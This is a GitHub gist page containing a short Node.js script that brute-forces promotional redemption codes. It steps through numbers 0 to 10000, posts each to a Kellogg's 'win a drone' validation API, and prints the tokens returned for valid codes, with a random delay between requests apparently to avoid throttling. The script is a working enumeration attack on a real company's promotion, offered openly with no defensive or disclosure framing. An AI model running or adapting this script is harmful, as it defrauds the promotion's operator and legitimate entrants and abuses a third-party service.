Skip to content

Instantly share code, notes, and snippets.

@wouterds
Created October 15, 2018 14:47
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save wouterds/e46134ade6c3480a325ea0285c108506 to your computer and use it in GitHub Desktop.
Save wouterds/e46134ade6c3480a325ea0285c108506 to your computer and use it in GitHub Desktop.
const axios = require('axios');
const chalk = require('chalk');
const sleep = require('await-sleep');
const checkCode = async (code) => {
const codes = [code];
const response = await axios.post('https://winadrone.kelloggs.com/api/nl_BE/redemption/validate-codes', { codes });
const { data } = response;
const valid = data.result[0].status !== 'Invalid';
console.log(`Code ${chalk.white(code)} is ${valid ? chalk.green('valid') : chalk.red('invalid')}`);
if (valid) {
console.log(` token: ${chalk.yellow(data.token)}`);
}
await sleep(Math.random() * 100);
if (code < 10000) {
checkCode(code + 1);
}
};
checkCode(0);
@wouterds
Copy link
Author

screen shot 2018-10-15 at 16 49 10

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment